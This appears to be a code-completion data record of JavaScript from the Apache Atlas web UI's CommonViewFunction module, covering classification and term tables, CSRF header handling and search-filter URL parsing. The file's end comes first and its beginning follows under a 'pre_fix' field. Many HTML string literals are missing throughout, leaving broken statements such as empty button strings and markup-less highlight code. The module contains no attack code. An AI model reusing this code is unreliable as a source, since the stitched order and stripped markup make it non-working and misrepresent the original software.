options.model,\n newModel = new options.collection.model(),\n noticeRef = null,\n ajaxOptions = {\n success: function(rModel, response) {\n if (noticeRef) {\n noticeRef.remove();\n }\n Utils.notifySuccess({\n content: ((isCategoryView || isEntityView ? \"Term\" : \"Category\") + \" association is removed successfully\")\n });\n if (options.callback) {\n options.callback();\n }\n },\n cust_error: function() {\n if (noticeRef) {\n noticeRef.hideButtonLoader();\n }\n if (options.hideLoader) {\n options.hideLoader();\n }\n }\n },\n notifyObj = {\n modal: true,\n okCloses: false,\n okShowLoader: true,\n text: options.msg,\n title: options.titleMessage,\n okText: options.buttonText,\n ok: function(notice) {\n noticeRef = notice;\n if (options.showLoader) {\n options.showLoader();\n }\n if (isEntityView && model) {\n var data = [model];\n newModel.removeTermFromEntity(termGuid, _.extend(ajaxOptions, {\n data: JSON.stringify(data)\n }))\n } else {\n var data = _.extend({}, model);\n if (isTermView) {\n data.categories = _.reject(data.categories, function(term) { return term.categoryGuid == selectedGuid });\n } else {\n data.terms = _.reject(data.terms, function(term) { return term.termGuid == selectedGuid });\n }\n\n newModel[isTermView ? \"createEditTerm\" : \"createEditCategory\"](_.extend(ajaxOptions, {\n guid: model.guid,\n data: JSON.stringify(_.extend({}, model, data)),\n }));\n }\n },\n cancel: function() {}\n };\n Utils.notifyConfirm(notifyObj);\n }\n }\n CommonViewFunction.addRestCsrfCustomHeader = function(xhr, settings) {\n if (null != settings.url) {\n var method = settings.type;\n var csrfToken = CommonViewFunction.restCsrfValue;\n null == CommonViewFunction.restCsrfCustomHeader || CommonViewFunction.restCsrfMethodsToIgnore[method] || xhr.setRequestHeader(CommonViewFunction.restCsrfCustomHeader, csrfToken);\n }\n }\n CommonViewFunction.restCsrfCustomHeader = null;\n CommonViewFunction.restCsrfMethodsToIgnore = null;\n CommonViewFunction.userDataFetch = function(options) {\n var csrfEnabled = false,\n header = null,\n methods = [];\n\n function getTrimmedStringArrayValue(string) {\n var str = string,\n array = [];\n if (str) {\n var splitStr = str.split(',');\n for (var i = 0; i < splitStr.length; i++) {\n array.push(splitStr[i].trim());\n }\n }\n return array;\n }\n if (options.url) {\n $.ajax({\n url: options.url,\n success: function(response) {\n if (response) {\n if (response['atlas.rest-csrf.enabled']) {\n var str = \"\" + response['atlas.rest-csrf.enabled'];\n csrfEnabled = (str.toLowerCase() == 'true');\n }\n if (response[\"atlas.rest-csrf.custom-header\"] && (header = response[\"atlas.rest-csrf.custom-header\"].trim()),\n response[\"atlas.rest-csrf.methods-to-ignore\"] && (methods = getTrimmedStringArrayValue(response[\"atlas.rest-csrf.methods-to-ignore\"])),\n csrfEnabled) {\n CommonViewFunction.restCsrfCustomHeader = header, CommonViewFunction.restCsrfMethodsToIgnore = {},\n CommonViewFunction.restCsrfValue = response[\"_csrfToken\"] || '\"\"',\n methods.map(function(method) {\n CommonViewFunction.restCsrfMethodsToIgnore[method] = !0;\n });\n var statusCodeErrorFn = function(error) {\n Utils.defaultErrorHandler(null, error)\n }\n Backbone.$.ajaxSetup({\n statusCode: {\n 401: statusCodeErrorFn,\n 419: statusCodeErrorFn,\n 403: statusCodeErrorFn\n },\n beforeSend: CommonViewFunction.addRestCsrfCustomHeader\n });\n }\n }\n },\n complete: function(response) {\n if (options.callback) {\n options.callback(response.responseJSON);\n }\n }\n });\n }\n }\n CommonViewFunction.CheckDuplicateAndEmptyInput = function(elements, datalist) {\n var keyMap = new Map(),\n validation = true,\n hasDup = [];\n for (var i = 0; i < elements.length; i++) {\n var input = elements[i],\n pEl = input.nextElementSibling,\n classes = 'form-control',\n val = input.value.trim();\n pEl.innerText = \"\";\n\n if (val === '') {\n validation = false;\n pEl.innerText = 'Required!';\n } else if (val.includes(':')) {\n validation = false;\n var errorText = $(\".errorMsg[data-id='charSupportMsg']\").text();\n if (errorText && errorText.length === 0) {\n pEl.innerText = \"These special character '(:)' are not supported.\";\n }\n } else {\n if (input.tagName === 'INPUT') {\n var duplicates = datalist.filter(function(c) {\n return c.key === val;\n });\n if (keyMap.has(val) || duplicates.length > 1) {\n classes = 'form-control errorClass';\n hasDup.push('duplicate');\n pEl.innerText = 'Duplicate key';\n } else {\n keyMap.set(val, val);\n }\n }\n }\n if (validation === false) {\n classes = 'form-control errorClass';\n }\n input.setAttribute('class', classes);\n }\n return {\n validation: validation,\n hasDuplicate: (hasDup.length === 0 ? false : true)\n };\n }\n CommonViewFunction.getRandomIdAndAnchor = function() {\n var randomId = \"collapse_\" + parseInt((Math.random() * 100)) + \"_\" + new Date().getUTCMilliseconds();\n return {\n id: randomId,\n anchor: \"#\" + randomId\n };\n }\n CommonViewFunction.udKeysStringParser = function(udKeys) {\n var o = {};\n _.each(udKeys.split(','), function(udKey) {\n var ud = udKey.split(':');\n o[ud[0]] = ud[1];\n })\n return o;\n }\n CommonViewFunction.udKeysObjectToStringParser = function(udKeys) {\n var list = _.map(udKeys, function(udKey) {\n var t = udKey.key + ':' + udKey.value;\n return t;\n });\n return list.join(',');\n }\n CommonViewFunction.fetchRootEntityAttributes = function(options) {\n $.ajax({\n url: options.url,\n methods: 'GET',\n dataType: 'json',\n cache: true,\n success: function(response) {\n if (response) {\n _.each(options.entity, function(rootEntity) {\n Globals[rootEntity] = $.extend(true, {}, response, { name: rootEntity, guid: rootEntity });\n });\n }\n },\n complete: function(response) {\n if (options.callback) {\n options.callback(response);\n }\n }\n });\n }\n CommonViewFunction.fetchRootClassificationAttributes = function(options) {\n $.ajax({\n url: options.url,\n methods: 'GET',\n dataType: 'json',\n cache: true,\n success: function(response) {\n if (response) {\n _.each(options.classification, function(rootClassification) {\n Globals[rootClassification] = $.extend(true, {}, response, { name: rootClassification, guid: rootClassification });\n });\n }\n },\n complete: function(response) {\n if (options.callback) {\n options.callback(response);\n }\n }\n });\n }\n return CommonViewFunction;\n});" pre_fix = "define(['require', 'utils/Utils', 'modules/Modal', 'utils/Messages', 'utils/Enums', 'moment', 'utils/Globals', 'moment-timezone'], function(require, Utils, Modal, Messages, Enums, moment, Globals, momentTimezone) {\n 'use strict';\n\n var CommonViewFunction = {};\n CommonViewFunction.deleteTag = function(options) {\n require(['models/VTag'], function(VTag) {\n if (options && options.guid && options.tagName) {\n var tagModel = new VTag(),\n noticeRef = null,\n notifyObj = {\n modal: true,\n okCloses: false,\n okShowLoader: true,\n text: options.msg,\n title: options.titleMessage,\n okText: options.okText,\n ok: function(notice) {\n noticeRef = notice;\n if (options.showLoader) {\n options.showLoader();\n }\n tagModel.deleteAssociation(options.guid, options.tagName, options.associatedGuid, {\n defaultErrorMessage: options.tagName + Messages.deleteErrorMessage,\n success: function(data) {\n if (noticeRef) {\n noticeRef.remove();\n }\n Utils.notifySuccess({\n content: \"Classification \" + options.tagName + Messages.getAbbreviationMsg(false, 'removeSuccessMessage')\n });\n if (options.callback) {\n options.callback();\n }\n if (options.collection) {\n options.collection.fetch({ reset: true });\n }\n\n },\n cust_error: function(model, response) {\n if (noticeRef) {\n noticeRef.hideButtonLoader();\n }\n if (options.hideLoader) {\n options.hideLoader();\n }\n }\n });\n },\n cancel: function(argument) {\n if (options.hideLoader) {\n options.hideLoader();\n }\n }\n };\n Utils.notifyConfirm(notifyObj);\n }\n });\n };\n CommonViewFunction.propertyTable = function(options) {\n var scope = options.scope,\n sortBy = options.sortBy,\n valueObject = options.valueObject,\n extractJSON = options.extractJSON,\n getArrayOfStringElement = options.getArrayOfStringElement,\n getArrayOfStringFormat = options.getArrayOfStringFormat,\n isTable = _.isUndefined(options.isTable) ? true : options.isTable,\n attributeDefs = options.attributeDefs,\n formatIntVal = options.formatIntVal,\n showListCount = options.showListCount || true,\n highlightString = options.highlightString,\n formatStringVal = options.formatStringVal,\n isRelationshipAttr = options.isRelationshipAttribute, //For relationshipDetailpage\n numberFormat = options.numberFormat || _.numberFormatWithComma;\n\n var table = \"\",\n getHighlightedString = function(resultStr) {\n if (highlightString && highlightString.length) {\n try {\n return resultStr.replace(new RegExp(highlightString, \"gi\"), function(foundStr) {\n return \"\" + foundStr + \"\"\n });\n } catch (error) {\n return resultStr;\n }\n } else {\n return resultStr;\n }\n },\n getEmptyString = function(key) {\n if (options.getEmptyString) {\n return options.getEmptyString(key);\n }\n return \"N/A\";\n },\n getValue = function(val, key) {\n if (options && options.getValue) {\n val = options.getValue(val, key);\n }\n if (!_.isUndefined(val) && !_.isNull(val)) {\n if ((_.isNumber(val) || !_.isNaN(parseInt(val))) && formatIntVal) {\n return numberFormat(val);\n } else {\n var newVal = val;\n if (formatStringVal) {\n newVal = parseInt(val);\n if (_.isNaN(newVal)) {\n newVal = val;\n } else {\n newVal = numberFormat(newVal);\n }\n }\n newVal = (options && options.isEditorValue) ? newVal : _.escape(newVal);\n return getHighlightedString(newVal);\n }\n } else {\n return getEmptyString(key);\n }\n },\n fetchInputOutputValue = function(id, defEntity) {\n var that = this;\n scope.entityModel.getEntityHeader(id, {\n success: function(serverData) {\n var value = \"\",\n deleteButton = \"\",\n data = serverData;\n value = Utils.getName(data);\n var id = \"\";\n if (data.guid) {\n if (Enums.entityStateReadOnly[data.status || data.entityStatus]) {\n deleteButton += '';\n }\n id = data.guid;\n }\n if (value.length > 0) {\n scope.$('td div[data-id=\"' + id + '\"]').html('' + getValue(value) + '');\n } else {\n scope.$('td div[data-id=\"' + id + '\"]').html('' + _.escape(id) + '');\n }\n if (deleteButton.length) {\n scope.$('td div[data-id=\"' + id + '\"]').addClass('block whitespace-normal readOnlyLink');\n scope.$('td div[data-id=\"' + id + '\"]').append(deleteButton);\n }\n },\n cust_error: function(error, xhr) {\n if (xhr.status == 403) {\n scope.$('td div[data-id=\"' + id + '\"]').html('
    Not Authorized
    ');\n } else if (defEntity && defEntity.options && defEntity.options.isSoftReference === \"true\") {\n scope.$('td div[data-id=\"' + id + '\"]').html('
    ' + id + '
    ');\n } else {\n scope.$('td div[data-id=\"' + id + '\"]').html('
    ' + Messages.defaultErrorMessage + '
    ');\n }\n },\n complete: function() {}\n });\n },\n extractObject = function(opt) {\n var valueOfArray = [],\n keyValue = opt.keyValue,\n key = opt.key,\n defEntity = opt.defEntity;\n if (!_.isArray(keyValue) && _.isObject(keyValue)) {\n keyValue = [keyValue];\n }\n var subLink = \"\";\n for (var i = 0; i < keyValue.length; i++) {\n var inputOutputField = keyValue[i],\n id = inputOutputField.guid || (_.isObject(inputOutputField.id) ? inputOutputField.id.id : inputOutputField.id),\n tempLink = \"\",\n status = (inputOutputField.status || inputOutputField.entityStatus) || (_.isObject(inputOutputField.id) ? inputOutputField.id.state : inputOutputField.state),\n readOnly = Enums.entityStateReadOnly[status];\n if (!inputOutputField.attributes && inputOutputField.values) {\n inputOutputField['attributes'] = inputOutputField.values;\n }\n if (_.isString(inputOutputField) || _.isBoolean(inputOutputField) || _.isNumber(inputOutputField)) {\n var tempVarfor$check = inputOutputField.toString();\n if (tempVarfor$check.indexOf(\"$\") == -1) {\n var tmpVal = getValue(inputOutputField, key)\n if (getArrayOfStringElement) {\n valueOfArray.push(getArrayOfStringElement(tmpVal, key));\n } else {\n valueOfArray.push('' + tmpVal + '');\n }\n }\n } else if ((_.isObject(inputOutputField) && (!id || isRelationshipAttr))) {\n var attributesList = inputOutputField;\n if (scope.typeHeaders && inputOutputField.typeName) {\n var typeNameCategory = scope.typeHeaders.fullCollection.findWhere({ name: inputOutputField.typeName });\n if (attributesList.attributes && typeNameCategory && typeNameCategory.get('category') === 'STRUCT') {\n attributesList = attributesList.attributes;\n }\n }\n\n if (extractJSON && extractJSON.extractKey) {\n var newAttributesList = {};\n _.each(attributesList, function(objValue, objKey) {\n var value = _.isObject(objValue) ? objValue : _.escape(objValue),\n tempVarfor$check = objKey.toString();\n if (tempVarfor$check.indexOf(\"$\") == -1) {\n if (_.isObject(extractJSON.extractKey)) {\n _.each(extractJSON.extractKey, function(extractKey) {\n if (objKey === extractKey) {\n newAttributesList[_.escape(objKey)] = value;\n }\n });\n } else if (_.isString(extractJSON.extractKey) && extractJSON.extractKey === objKey) {\n newAttributesList[_.escape(objKey)] = value;\n }\n }\n });\n valueOfArray.push(Utils.JSONPrettyPrint(newAttributesList, getValue));\n } else {\n valueOfArray.push(Utils.JSONPrettyPrint(attributesList, getValue));\n }\n }\n if (id && inputOutputField && !isRelationshipAttr) {\n var name = Utils.getName(inputOutputField);\n if ((name === \"-\" || name === id) && !inputOutputField.attributes) {\n var fetch = true;\n var fetchId = (_.isObject(id) ? id.id : id);\n fetchInputOutputValue(fetchId, defEntity);\n tempLink += '
    ';\n } else {\n if (inputOutputField.typeName == \"AtlasGlossaryTerm\") {\n tempLink += '' + name + ''\n } else {\n tempLink += '' + name + ''\n }\n }\n }\n if (readOnly) {\n if (!fetch) {\n tempLink += '';\n subLink += '
    ' + tempLink + '
    ';\n } else {\n fetch = false;\n subLink += tempLink;\n }\n\n } else {\n if (tempLink.search('href') != -1) {\n subLink += '
    ' + tempLink + '
    '\n } else if (tempLink.length) {\n subLink += tempLink\n }\n }\n }\n if (valueOfArray.length) {\n if (getArrayOfStringFormat) {\n subLink = getArrayOfStringFormat(valueOfArray, key);\n } else {\n subLink = valueOfArray.join(', ');\n }\n }\n return subLink === \"\" ? getEmptyString(key) : subLink;\n }\n var valueObjectKeysList = _.keys(_.omit(valueObject, ['paramsCount']));\n if (_.isUndefined(sortBy) || sortBy == true) {\n valueObjectKeysList = _.sortBy(valueObjectKeysList);\n }\n valueObjectKeysList.map(function(key) {\n if (key == \"profileData\") {\n return;\n }\n var keyValue = valueObject[key],\n listCount = \"\";\n if (key == \"isIncomplete\" && keyValue == false) {\n return;\n }\n if (showListCount && _.isArray(keyValue) && keyValue.length > 0) {\n listCount = (valueObject && valueObject.paramsCount != undefined) ? (numberFormat(valueObject.paramsCount) != 0) ? ' (' + numberFormat(valueObject.paramsCount) + ')' : '' : ' (' + numberFormat(keyValue.length) + ')';\n }\n var defEntity = _.find(attributeDefs, { name: key });\n if (defEntity && defEntity.typeName) {\n var defEntityType = defEntity.typeName.toLocaleLowerCase();\n if (defEntityType === 'date') {\n keyValue = moment(keyValue).isValid() ? Utils.formatDate({ date: keyValue }) : null;\n } else if (_.isObject(keyValue)) {\n keyValue = extractObject({ \"keyValue\": keyValue, \"key\": key, 'defEntity': defEntity });\n }\n } else {\n if (_.isObject(keyValue)) {\n keyValue = extractObject({ \"keyValue\": keyValue, \"key\": key });\n }\n }\n var val = \"\";\n if (_.isObject(valueObject[key])) {\n val = keyValue\n } else if (key === 'guid' || key === \"__guid\") {\n if (options.guidHyperLink === false) {\n val = getValue(keyValue, key);\n } else {\n if (isRelationshipAttr) {\n val = '' + getValue(keyValue, key) + '';\n } else {\n val = '' + getValue(keyValue, key) + '';\n }\n }\n } else {\n if (isRelationshipAttr && (key === \"createTime\" || key === \"updateTime\")) {\n val = Utils.formatDate({ date: keyValue });\n } else {\n val = getValue(keyValue, key);\n }\n }\n if (isTable) {\n var value = val,\n appendClass = (value == \"N/A\" ? \"hide-row\" : \"\"),\n htmlTag = '
    ' + value + '
    ';\n if (_.isObject(valueObject[key]) && !_.isEmpty(valueObject[key])) {\n var matchedLinkString = val.match(/href|value-loader\\w*/g),\n matchedJson = val.match(/json-value|json-string\\w*/g),\n matchedKey = val.match(/json-key\\w*/g),\n isMatchLinkStringIsSingle = matchedLinkString && matchedLinkString.length <= 5,\n isMatchJSONStringIsSingle = matchedJson && matchedJson.length == 1,\n expandCollapseButton = \"\";\n if ((matchedJson) || (matchedLinkString)) {\n var className = \"code-block fixed-height\";\n if (!isMatchJSONStringIsSingle) {\n className += \" shrink\";\n expandCollapseButton = '';\n }\n htmlTag = '
    ' + expandCollapseButton + '' + val + '
    ';\n }\n }\n table += '' + (_.escape(key) + listCount) + '' + htmlTag + '';\n } else {\n table += '' + val + '';\n }\n\n });\n return table && table.length > 0 ? table : 'No Record found!';\n }\n CommonViewFunction.tagForTable = function(obj, classificationDefCollection) {\n var traits = obj.classifications,\n tagHtml = \"\",\n addTag = \"\",\n popTag = \"\",\n count = 0,\n entityName = Utils.getName(obj);\n if (traits) {\n traits.map(function(tag) {\n var className = \"btn btn-action btn-sm btn-blue btn-icon\",\n deleteIcon = \"\";\n if (obj.guid === tag.entityGuid) {\n deleteIcon = '';\n } else if (obj.guid !== tag.entityGuid && tag.entityStatus === \"DELETED\") {\n deleteIcon = '';\n } else {\n className += \" propagte-classification\";\n }\n var tagObj = classificationDefCollection.fullCollection.find({ \"name\": tag.typeName }),\n tagParents = tagObj ? tagObj.get('superTypes') : null,\n parentName = tag.typeName;\n if (tagParents && tagParents.length) {\n parentName += (tagParents.length > 1) ? (\"@(\" + tagParents.join() + \")\") : (\"@\" + tagParents.join());\n }\n var tagString = '' + parentName + '' + deleteIcon + '';\n if (count >= 1) {\n popTag += tagString;\n } else {\n tagHtml += tagString;\n }\n ++count;\n });\n }\n if (!Enums.entityStateReadOnly[obj.status || obj.entityStatus]) {\n if (obj.guid) {\n addTag += '';\n } else {\n addTag += '';\n }\n }\n if (count > 1) {\n addTag += '
    ' + popTag + '
    '\n }\n return '
    ' + tagHtml + addTag + '
    ';\n }\n CommonViewFunction.termForTable = function(obj) {\n var terms = obj.meanings,\n termHtml = \"\",\n addTerm = \"\",\n popTerm = \"\",\n count = 0,\n entityName = Utils.getName(obj);\n if (terms) {\n terms.map(function(term) {\n var displayText = _.escape(term.displayText),\n gloassaryName = _.escape(term.qualifiedName) || displayText,\n className = \"btn btn-action btn-sm btn-blue btn-icon\",\n deleteIcon = '',\n termString = '' + gloassaryName + '' + deleteIcon + '';\n if (count >= 1) {\n popTerm += termString;\n } else {\n termHtml += termString;\n }\n ++count;\n });\n }\n if (!Enums.entityStateReadOnly[obj.status || obj.entityStatus]) {\n if (obj.guid) {\n addTerm += '';\n } else {\n addTerm += '';\n }\n }\n if (count > 1) {\n addTerm += '
    ' + popTerm + '
    '\n }\n return '
    ' + termHtml + addTerm + '
    ';\n }\n CommonViewFunction.generateQueryOfFilter = function(value) {\n value = Utils.getUrlState.getQueryParams();\n var entityFilters = CommonViewFunction.attributeFilter.extractUrl({ \"value\": value.entityFilters, \"formatDate\": true }),\n tagFilters = CommonViewFunction.attributeFilter.extractUrl({ \"value\": value.tagFilters, \"formatDate\": true }),\n relationshipFilters = CommonViewFunction.attributeFilter.extractUrl({ \"value\": value.relationshipFilters, \"formatDate\": true }),\n queryArray = [];\n\n function objToString(filterObj) {\n var generatedQuery = _.map(filterObj.rules, function(obj, key) {\n var obj = $.extend(true, {}, obj); // not to update the timezone abbr on original obj , copy of obj is used \n if (_.has(obj, 'condition')) {\n return ' ' + obj.condition + ' ' + '(' + objToString(obj) + ')';\n } else {\n if (obj.type === \"date\") {\n if (Enums.queryBuilderDateRangeUIValueToAPI[obj.value]) {\n obj.value = Enums.queryBuilderDateRangeUIValueToAPI[obj.value];\n } else {\n obj.value = obj.value + \" (\" + moment.tz(moment.tz.guess()).zoneAbbr() + \")\";\n }\n }\n return '' + (Enums.systemAttributes[obj.id] ? Enums.systemAttributes[obj.id] : _.escape(obj.id)) + ' ' + _.escape(obj.operator) + ' ' + (Enums[obj.id] ? Enums[obj.id][obj.value] : _.escape(obj.value)) + \"\";\n }\n });\n return generatedQuery;\n }\n if (value.type) {\n var typeKeyValue = 'Type: ' + _.escape(value.type) + '';\n if (entityFilters) {\n var conditionForEntity = entityFilters.rules.length == 1 ? '' : 'AND';\n typeKeyValue += ' ' + conditionForEntity + ' (' + entityFilters.condition + ' (' + objToString(entityFilters) + '))';\n }\n queryArray.push(typeKeyValue)\n }\n if (value.tag) {\n var tagKeyValue = 'Classification: ' + _.escape(value.tag) + '';\n if (tagFilters) {\n var conditionFortag = tagFilters.rules.length == 1 ? '' : 'AND';\n tagKeyValue += ' ' + conditionFortag + ' (' + tagFilters.condition + ' (' + objToString(tagFilters) + '))';\n }\n queryArray.push(tagKeyValue);\n }\n if (value.relationshipName) {\n var relationshipKeyValue = 'Relationship: ' + _.escape(value.relationshipName) + '';\n if (relationshipFilters) {\n var conditionForRealtionship = (relationshipFilters.rules && relationshipFilters.rules.length == 1) ? '' : 'AND';\n relationshipKeyValue += ' ' + conditionForRealtionship + ' (' + relationshipFilters.condition + ' (' + objToString(relationshipFilters) + '))';\n }\n queryArray.push(relationshipKeyValue);\n }\n if (value.term) {\n var tagKeyValue = 'Term: ' + _.escape(value.term) + '';\n queryArray.push(tagKeyValue);\n }\n if (value.query) {\n queryArray.push('Query: ' + _.trim(_.escape(value.query)) + ' ');\n }\n if (queryArray.length == 1) {\n return queryArray.join();\n } else {\n return \"( \" + queryArray.join(' ) AND ( ') + \" )\";\n\n }\n }\n CommonViewFunction.generateObjectForSaveSearchApi = function(options) {\n var obj = {\n name: options.name,\n guid: options.guid\n };\n var value = options.value;\n if (value) {\n _.each(Enums.extractFromUrlForSearch, function(svalue, skey) {\n if (_.isObject(svalue)) {\n _.each(svalue, function(v, k) {\n var val = value[k];\n if (!_.isUndefinedNull(val)) {\n if (k == \"attributes\") {\n val = val.split(',');\n } else if (_.contains([\"tagFilters\", \"entityFilters\", \"relationshipFilters\"], k)) {\n val = CommonViewFunction.attributeFilter.generateAPIObj(val);\n } else if (_.contains([\"includeDE\", \"excludeST\", \"excludeSC\"], k)) {\n val = val ? false : true;\n }\n }\n if (_.contains([\"includeDE\", \"excludeST\", \"excludeSC\"], k)) {\n val = _.isUndefinedNull(val) ? true : val;\n }\n if (!obj[skey]) {\n obj[skey] = {};\n }\n obj[skey][v] = val;\n });\n } else {\n obj[skey] = value[skey];\n }\n });\n return obj;\n }\n }\n CommonViewFunction.generateUrlFromSaveSearchObject = function(options) {\n var value = options.value,\n classificationDefCollection = options.classificationDefCollection,\n entityDefCollection = options.entityDefCollection,\n relationshipDefCollection = options.relationshipDefCollection,\n obj = {};\n if (value) {\n _.each(Enums.extractFromUrlForSearch, function(svalue, skey) {\n if (_.isObject(svalue)) {\n _.each(svalue, function(v, k) {\n var val = value[skey][v];\n if (!_.isUndefinedNull(val)) {\n if (k == \"attributes\") {\n val = val.join(',');\n } else if (k == \"tagFilters\") {\n if (classificationDefCollection) {\n var classificationDef = classificationDefCollection.fullCollection.findWhere({ 'name': value[skey].classification }),\n attributeDefs = [];\n if (classificationDef) {\n attributeDefs = Utils.getNestedSuperTypeObj({\n collection: classificationDefCollection,\n attrMerge: true,\n data: classificationDef.toJSON()\n });\n }\n if (Globals[value[skey].typeName]) {\n attributeDefs = Globals[value[skey].typeName].attributeDefs;\n }\n if (Globals._ALL_CLASSIFICATION_TYPES && Globals._ALL_CLASSIFICATION_TYPES.attributeDefs) {\n attributeDefs = attributeDefs.concat(Globals._ALL_CLASSIFICATION_TYPES.attributeDefs);\n }\n }\n val = CommonViewFunction.attributeFilter.generateUrl({ \"value\": val, \"attributeDefs\": attributeDefs });\n } else if (k == \"entityFilters\") {\n if (entityDefCollection) {\n var entityDef = entityDefCollection.fullCollection.findWhere({ 'name': value[skey].typeName }),\n attributeDefs = [];\n if (entityDef) {\n attributeDefs = Utils.getNestedSuperTypeObj({\n collection: entityDefCollection,\n attrMerge: true,\n data: entityDef.toJSON()\n });\n }\n if (Globals[value[skey].typeName]) {\n attributeDefs = Globals[value[skey].typeName].attributeDefs;\n }\n if (Globals._ALL_ENTITY_TYPES && Globals._ALL_ENTITY_TYPES.attributeDefs) {\n attributeDefs = attributeDefs.concat(Globals._ALL_ENTITY_TYPES.attributeDefs);\n }\n }\n val = CommonViewFunction.attributeFilter.generateUrl({ \"value\": val, \"attributeDefs\": attributeDefs });\n } else if (k == \"relationshipFilters\") {\n if (relationshipDefCollection) {\n var relationshipDef = relationshipDefCollection.fullCollection.findWhere({ 'name': value[skey].relationshipName }),\n attributeDefs = [];\n if (relationshipDef) {\n attributeDefs = Utils.getNestedSuperTypeObj({\n collection: relationshipDefCollection,\n attrMerge: true,\n data: relationshipDef.toJSON()\n });\n }\n if (Globals[value[skey].relationshipName]) {\n attributeDefs = Globals[value[skey].relationshipName].attributeDefs;\n }\n }\n val = CommonViewFunction.attributeFilter.generateUrl({ \"value\": val, \"attributeDefs\": attributeDefs });\n } else if (_.contains([\"includeDE\", \"excludeST\", \"excludeSC\"], k)) {\n val = val ? false : true;\n }\n }\n obj[k] = val;\n });\n } else {\n obj[skey] = value[skey];\n }\n });\n return obj;\n }\n }\n CommonViewFunction.attributeFilter = {\n generateUrl: function(options) {\n var attrQuery = [],\n attrObj = options.value,\n formatedDateToLong = options.formatedDateToLong,\n attributeDefs = options.attributeDefs,\n /* set attributeType for criterion while creating object*/\n spliter = 1;\n attrQuery = conditionalURl(attrObj, spliter);\n\n function conditionalURl(options, spliter) {\n if (options) {\n return _.map(options.rules || options.criterion, function(obj, key) {\n if (_.has(obj, 'condition')) {\n return obj.condition + '(' + conditionalURl(obj, (spliter + 1)) + ')';\n }\n if (attributeDefs) {\n var attributeDef = _.findWhere(attributeDefs, { 'name': obj.attributeName });\n if (attributeDef) {\n obj.attributeValue = obj.attributeValue;\n obj['attributeType'] = attributeDef.typeName;\n }\n }\n var type = (obj.type || obj.attributeType),\n //obj.value will come as an object when selected type is Date and operator is isNull or not_null;\n value = ((_.isString(obj.value) && _.contains([\"is_null\", \"not_null\"], obj.operator) && type === 'date') || _.isObject(obj.value) ? \"\" : _.trim(obj.value || obj.attributeValue)),\n url = [(obj.id || obj.attributeName), mapApiOperatorToUI(obj.operator), value];\n if (obj.operator === \"TIME_RANGE\") {\n if (value.indexOf(\"-\") > -1) {\n url[2] = value.split(' - ').map(function(udKey) {\n return Globals.needToValidateDate ? Date.parse(Utils.convertToValidDate(udKey.trim())).toString() : Date.parse(udKey.trim()).toString();\n }).join(\",\")\n } else {\n url[2] = Enums.queryBuilderDateRangeUIValueToAPI[_.trim(value)] || value;\n }\n } else if (value && value.length && type === 'date' && formatedDateToLong) {\n url[2] = Globals.needToValidateDate ? Date.parse(Utils.convertToValidDate(value)) : Date.parse(value);\n }\n if (type) {\n url.push(type);\n }\n return url.join(\"::\");\n }).join('|' + spliter + '|')\n } else {\n return null;\n }\n }\n if (attrQuery.length) {\n return attrObj.condition + '(' + attrQuery + ')';\n } else {\n return null;\n }\n\n function mapApiOperatorToUI(oper) {\n // Enum will be in effect once we click on save search.\n return Enums.queryBuilderApiOperatorToUI[oper] || oper;\n }\n },\n extractUrl: function(options) {\n var attrObj = {},\n urlObj = options.value,\n formatDate = options.formatDate,\n spliter = 1,\n apiObj = options.apiObj,\n mapUiOperatorToAPI = function(oper) {\n return Enums.queryBuilderUIOperatorToAPI[oper] || oper;\n },\n createObject = function(urlObj) {\n var finalObj = {};\n finalObj['condition'] = /^AND\\(/.test(urlObj) ? \"AND\" : \"OR\";\n urlObj = finalObj.condition === \"AND\" ? urlObj.substr(4).slice(0, -1) : urlObj.substr(3).slice(0, -1);\n finalObj[apiObj ? \"criterion\" : \"rules\"] = _.map(urlObj.split('|' + spliter + '|'), function(obj, key) {\n var isStringNested = obj.split('|' + (spliter + 1) + '|').length > 1,\n isCondition = /^AND\\(/.test(obj) || /^OR\\(/.test(obj);\n if (isStringNested && isCondition) {\n ++spliter;\n return createObject(obj);\n } else if (isCondition) {\n return createObject(obj);\n } else {\n var temp = obj.split(\"::\") || obj.split('|' + spliter + '|'),\n rule = {};\n if (apiObj) {\n rule = { attributeName: temp[0], operator: mapUiOperatorToAPI(temp[1]), attributeValue: _.trim(temp[2]) }\n rule.attributeValue = rule.type === 'date' && formatDate && rule.attributeValue.length ? Utils.formatDate({ date: parseInt(rule.attributeValue), zone: false }) : rule.attributeValue;\n } else {\n rule = { id: temp[0], operator: temp[1], value: _.trim(temp[2]) }\n if (temp[3]) {\n rule['type'] = temp[3];\n }\n if (rule.operator === \"TIME_RANGE\") {\n if (temp[2].indexOf(\",\") > -1) {\n rule.value = temp[2].split(\",\").map(function(udKey) {\n return Utils.formatDate({ date: parseInt(udKey.trim()), zone: false })\n }).join(\" - \")\n } else {\n rule.value = Enums.queryBuilderDateRangeAPIValueToUI[_.trim(rule.value)] || rule.value;\n }\n } else if (rule.type === 'date' && formatDate && rule.value.length) {\n rule.value = Utils.formatDate({ date: parseInt(rule.value), zone: false })\n }\n }\n return rule;\n }\n });\n return finalObj;\n }\n //if apiObj then create object for API call else for QueryBuilder.\n if (urlObj && urlObj.length) {\n attrObj = createObject(urlObj);\n } else {\n return null;\n }\n return attrObj;\n },\n generateAPIObj: function(url) {\n if (url && url.length) {\n return this.extractUrl({ \"value\": url, \"apiObj\": true });\n } else {\n return null;\n }\n }\n }\n CommonViewFunction.createEditGlossaryCategoryTerm = function(options) {\n if (options) {\n var model = options.model,\n isTermView = options.isTermView,\n isGlossaryView = options.isGlossaryView,\n collection = options.collection;\n //Below condition is added for sanitizing the longDescription text against XSS attack.\n if (model) {\n var longDescriptionContent = isGlossaryView ? model.get('longDescription') : model.longDescription,\n sanitizeLongDescriptionContent = \"\";\n if (longDescriptionContent) {\n sanitizeLongDescriptionContent = Utils.sanitizeHtmlContent({ data: longDescriptionContent });\n isGlossaryView ? model.set(\"longDescription\", sanitizeLongDescriptionContent) : model.longDescription = sanitizeLongDescriptionContent;\n }\n }\n //End\n }\n require([\n 'views/glossary/CreateEditCategoryTermLayoutView',\n 'views/glossary/CreateEditGlossaryLayoutView',\n 'modules/Modal',\n 'trumbowyg'\n ], function(CreateEditCategoryTermLayoutView, CreateEditGlossaryLayoutView, Modal) {\n var view = null,\n title = null;\n if (isGlossaryView) {\n view = new CreateEditGlossaryLayoutView({ \"glossaryCollection\": collection, \"model\": model });\n title = \"Glossary\";\n } else {\n view = new CreateEditCategoryTermLayoutView({ \"glossaryCollection\": collection, \"modelJSON\": model });\n title = (isTermView ? 'Term' : 'Category');\n }\n var modal = new Modal({\n \"title\": ((model ? \"Update \" : \"Create \") + 